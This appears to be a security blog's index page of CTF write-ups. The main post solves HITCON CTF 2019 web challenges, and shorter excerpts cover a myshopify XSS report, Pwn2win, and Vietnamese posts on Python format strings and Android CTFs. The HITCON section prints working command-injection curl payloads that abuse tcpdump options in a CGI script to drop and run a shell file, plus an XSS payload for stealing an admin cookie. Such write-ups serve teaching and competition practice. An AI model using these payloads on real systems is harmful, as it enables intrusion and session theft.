HITCON CTF 2019

HITCON CTF is a great hacking competition in CTF world. I solved 2 web challanges of Orange. So here is writeup.

1. Virtual Public Network

I have read Orange’s blog, I can understand that is a story of Orange when he hack VPN products.
Note that return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0; and # backdoor :) comment, we can see that our shell will be located at ./tmp/.
But when using Orange’s payload, I can not get the output as expect. So I get a problem and should be redirect output to shell with > and read it with curl Remember that it requires a $tpl parameter to get filename of shell
my $tpl = CGI::param("tpl");
... $tpl = "./tmp/" . $tpl . ".thtml";
require($tpl);

So I can create a final payload like this: -r\$x="ls%20/",exec\$x%23%202>./tmp/dragonball.thtml%20<&tpl=dragonball and urlencode it
curl 'http://13.231.137.9/cgi-bin/diag.cgi?options=-r\$x="ls%20/",exec\$x%23%202>./tmp/dragonball.thtml%<&tpl=dragonball $READ_FLAG$
FLAG
bin
boot
dev
etc
home
initrd.img
initrd.img.old
....
Encode $ to read flag $READ_FLAG$ because $ will be interpreted as bash variable in Perl language and I can get it like this \x24. Using sh -c '[command]' to read flag because it is a binary file.
Finall payload: -r\$x=\"sh%20-c%20'/\x5c\x24READ_FLAG\x5c\x24'\",exec\$x%23%202>./tmp/dragonball.thtml%20&tpl=dragonball curl "http://13.231.137.9/cgi-bin/diag.cgi?options=-r\$x=\"sh%20-c%20'/\x5c\x24READ_FLAG\x5c\x24'\",exec\$x%23%202>./tmp/dragonball.thtml%20&tpl=dragonball
Flag: hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}
Reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
<h2>Bounty Pl33z</h2> This is a XSS challenge. When I click submit bugs it will redirects to https:///oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361
So using _${alert()}`-"-(`${`_ to trigger XSS, so setup a VPS and redirect challenge’s network to get admin’s cookie (=flag)

Read More

Xss Myshopify And Reject By Rule

Hi, it’s me again :D Last week, I found a XSS vulnerability on *.myshopify.com. You can register a trial account and add a new product.
At the product’s title, you can inject a javascript and at the admin’s taskbar you click the View button and it will automatically open a new tab and a XSS popup will alert :P
_config.yml Maybe it is a store-xss but Shopify’s rule does not accept it :|
_config.yml
In my opinion, when a hacker has admin’s privilege he can hijack other visitor when they shopping LOL .
Well I don’t mind anything about Shopify’s rule and I think I can disclosed this vulnerability :D
Yup that’s it and happy hacking!!!

Read More

Pwn2win Web Criminals

Pwn2win was held from 20 Oct to 22 Oct 2017, I solved 1 challenge named Criminals. Luckies is all I have to solve this challenge, it like the Big Bang :D This is my writeup for this challenge (http://200.136.213.109/)

Read More

Format String in Python

Cũng đã khá lâu kể từ ngày dấn thân vào chơi Web với mơ ước trong năm 2017 có thể kiếm một bug bounty nào đó, dù là 10 Trump hay là 5000 Trump, nói thế thôi, đó cũng là một động lực để cố gắng mỗi ngày ngồi trước máy làm việc, vì đồng tiền trang trải cuộc sống trước mặt, cũng vì ước mơ vươn lên trong cuộc sống =]] (ngôn lù vãi lúa)
“CTF chưa bao giờ làm tôi mệt mỏi” - yeuchimse
Đúng vậy, CTF mang lại cho tôi nhiều kiến thức, nhiều cái mới mới mà tôi cần update liên tục, cũng từ đó tôi có thể áp dụng trong công việc cũng như để góp nhặt từng viên đá để bước vào thế giới bug bounty.
Với giải PCTF 2017 lần này tôi gặp một kiến thức cần phải ghi lại vào blog ngay đó chính là Format string in Python. Trước nay, ta biết đến Format string trong explit software bởi input khiến software làm việc sai theo logic của người lập trình, từ đó đưa ra các output theo ý của pwner (hơi lủng củng ý :D), nhưng ở đây Format String lại là một dạng khác. Nó là một “tính năng” của ngôn ngữ lập trình, đại loại là nó xuất ra-gán giá trị của biến đó. Ví dụ:

1
2
3
4
5
6
>>>'{0},{1},{2}'.format('a','b','c')
'a, b, c'
>>> '{}, {}, {}'.format('a', 'b', 'c')
'a, b, c'
>>> '{2}, {1}, {0}'.format('a', 'b', 'c')
'c, b, a'

Như vậy ta có thể “truy cập” giá trị dựa vào vị trí của biến :)) và có thể lấy được các thuộc tính của biến đó. Tương tự như vậy, trong bài Pykemon sau khi bắt được một pet thì inject F0rm4t 5trin9 vào như sau:

Read More

All Ctf Android in 2015

Đang trong những tháng ngày nhàn cư vi và hằng đêm những tiếng nói thất thanh vẫn vang lên trong giấc mơ.
-“Trình tuổi — gì mà đòi vào team này, — có đâu nhé, đừng có mơ!”
-“Tim không cần!

Rồi một buổi trưa hè nắng chói chang, thằng Thành GinVlad pm:
-“Hey loser, jobless!!! Mày làm hết đống chall trên droidsec rồi writeup lại đâu đó cho tao!”
Tôi xem qua một tí mới hiểu thì ra trang này tổng hợp hết lại những challenge về mobile trong các năm vừa rồi. Cũng đang rảnh rỗi nên quyết định làm lại với mục đích ôn lại kiến thức, bài vở mà thầy cô dạy ở trường cũng như hệ thống lại kiến thức cho bản thân :v
Vì số giải nhiều quá nên chỉ làm các challenge trong năm 2015, còn các giải trong năm 2016 (có chall làm ra, chall không) thì khi nào nó tổng hợp lại rồi làm lại vì nhiều quá nhớ không hết :D
Ok! Không chém gió luyên thuyên nữa, trong lần đầu viết writeup này sẽ kể lại quá trình ngồi chơi các giải cũ như 0ctf, Ali ctf, Cyber Security, Poli, Pragyan


Read More